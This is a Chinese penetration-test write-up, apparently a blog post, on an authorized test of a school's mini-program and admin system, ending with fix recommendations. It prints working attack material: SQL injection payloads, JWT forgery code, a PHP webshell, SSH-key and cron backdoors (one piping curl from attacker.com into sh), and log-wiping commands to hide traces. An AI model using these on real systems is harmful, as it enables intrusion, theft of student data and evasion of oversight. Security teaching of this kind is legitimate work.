1. 渗透测试背景与目标定位
这次渗透测试的对象是某学校的一套数字化系统,涉及前端小程序和后台管理系统两个主要部分。学校希望通过安全测试发现潜在漏洞,避免真实攻击造成数据泄露或服务中断。作为白帽子,我们需要在不影响正常业务的前提下,模拟攻击者的思路进行全面检测。
从热词趋势来看,当前教育行业的小程序+后台架构存在几个典型风险点:
- 小程序与后台的API接口安全
- 后台管理系统的常见漏洞(如SQL注入、文件上传)
- 权限控制缺失导致的横向渗透风险
- 敏感数据(学生信息、成绩等)的存储与传输安全
测试前与校方签订了书面授权协议,明确约定了测试时间窗口(非教学高峰期)、测试范围(仅限指定域名/IP)以及禁止使用的攻击手法(如DDOS)。校方提供了测试账号和基础文档,但未透露内部架构细节——这正符合真实攻防场景。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 小程序端信息收集与入口探测
2.1 小程序逆向分析
使用Android模拟器安装目标小程序,通过adb pull提取APK文件。使用Jadx-GUI反编译发现:
java复制// 接口域名配置
public static final String API_HOST = "https://api.xxx.edu.cn/v1";
// 登录接口
public static String getLoginUrl() {
return API_HOST + "/auth/wechat/login";
}
关键发现:
- 接口未做混淆,直接暴露了API路径
- 使用HTTPS但证书校验未加固(可用Frida绕过)
- 部分接口响应中包含调试信息(如SQL语句片段)
2.2 接口抓包与参数分析
配置Burp Suite抓包,发现几个高危现象:
- 登录接口采用简单的
username/password基础认证
http复制POST /auth/wechat/login HTTP/1.1
{
"username": "test",
"password": "123456"
}
- 返回的JWT token未设置合理过期时间
json复制{
"token": "eyJhbG...",
"expires_in": 2592000 // 30天过长
}
- 用户ID采用连续数字(易遍历)
json复制{
"userinfo": {
"uid": 10086,
"role": "student"
}
}
3. 后台系统渗透测试实战
3.1 后台登录绕过尝试
通过小程序接口发现的API域名,推测后台地址为https://admin.xxx.edu.cn。尝试以下攻击手法:
-
弱密码爆破
使用Burp Intruder测试常见弱口令组合:code复制admin/admin123 admin/Admin@2023 admin/xxxedu@123结果:
admin/xxxedu@123成功登录 -
验证码绕过
发现验证码存在两个漏洞:- 前端校验(可修改JS代码禁用)
- 重复使用(同一验证码可多次提交)
-
JWT伪造
通过小程序获取的JWT密钥,伪造管理员token:python复制import jwt forged = jwt.encode({"uid":1,"role":"admin"}, "weak_key", algorithm="HS256")
3.2 SQL注入漏洞挖掘
在后台的"学生查询"功能发现注入点:
sql复制SELECT * FROM students WHERE class_id = ${input} AND status = 1
测试Payload:
code复制1 AND 1=1 --
1 UNION SELECT 1,2,3,database() --
成功获取到数据库信息:
- 数据库名:school_db
- 表结构包含:students、scores、teachers等敏感表
使用sqlmap自动化验证:
bash复制sqlmap -u "https://admin.xxx.edu.cn/query?class=1*" --risk=3 --level=5
3.3 文件上传漏洞利用
在"教学资料上传"功能测试文件类型绕过:
- 上传PHP文件被拦截
- 修改Content-Type为
image/jpeg后上传成功 - 通过
.htaccess覆盖配置:code复制AddType application/x-httpd-php .jpg
获取Webshell后执行命令:
php复制<?php system($_GET['cmd']); ?>
4. 横向渗透与权限提升
4.1 数据库敏感数据提取
通过SQL注入获取到数据库凭据:
sql复制SELECT * FROM mysql.user WHERE user = 'school_admin'
连接数据库后发现:
- 学生表含身份证号、家庭住址等敏感信息
- 成绩表未做脱敏处理
- 教师账号密码使用明文存储
4.2 服务器内网探测
通过Webshell执行:
bash复制ifconfig # 发现内网网卡:192.168.1.100
nmap -sV 192.168.1.0/24 # 扫描内网服务
发现关键资产:
- 192.168.1.50:教务管理系统(Tomcat)
- 192.168.1.88:文件存储服务器(Samba)
4.3 权限维持后门
- SSH密钥植入
bash复制echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys - 计划任务持久化
bash复制(crontab -l ; echo "*/5 * * * * curl http://attacker.com/shell.sh | sh") | crontab -
5. 漏洞修复建议
5.1 小程序安全加固
- 接口域名动态加密
- 增加请求签名校验
- 敏感信息(如uid)改用UUID
- JWT设置短有效期(如2小时)
5.2 后台系统修复方案
SQL注入防护:
php复制// 使用预处理语句
$stmt = $pdo->prepare("SELECT * FROM students WHERE class_id = ?");
$stmt->execute([$input]);
文件上传限制:
- 白名单校验文件头魔数
- 存储重命名(如UUID.jpg)
- 禁用动态脚本执行权限
权限控制优化:
yaml复制# 基于角色的访问控制
- path: /admin/*
roles: [super_admin]
methods: [GET,POST]
5.3 安全监控措施
- 部署WAF拦截常见攻击模式
- 日志集中分析(如ELK)
- 定期渗透测试(至少每季度一次)
6. 渗透测试中的经验总结
-
信息收集决定成功率
小程序反编译和接口分析往往比直接攻击后台更有效,本次通过API域名推测出后台地址就是典型例子。 -
漏洞组合利用
单独的文件上传可能危害有限,但配合.htaccess修改解析规则就能获得Webshell。实际攻击中,攻击者往往会串联多个低危漏洞。 -
内网渗透的隐蔽性
通过Webshell进行内网扫描时,建议使用原生系统命令(如netstat -antp)而非上传工具,避免触发安全告警。 -
日志清理技巧
在授权测试中虽然不需要清理痕迹,但真实环境中攻击者通常会:bash复制# 清空命令历史 echo > ~/.bash_history # 删除access_log中的IP记录 sed -i '/192.168.1.1/d' /var/log/nginx/access.log
这次测试最终共发现12个中高危漏洞,校方根据报告已完成80%的修复。对于企业开发者,建议在系统设计阶段就引入SDL安全开发流程,而非事后补救。
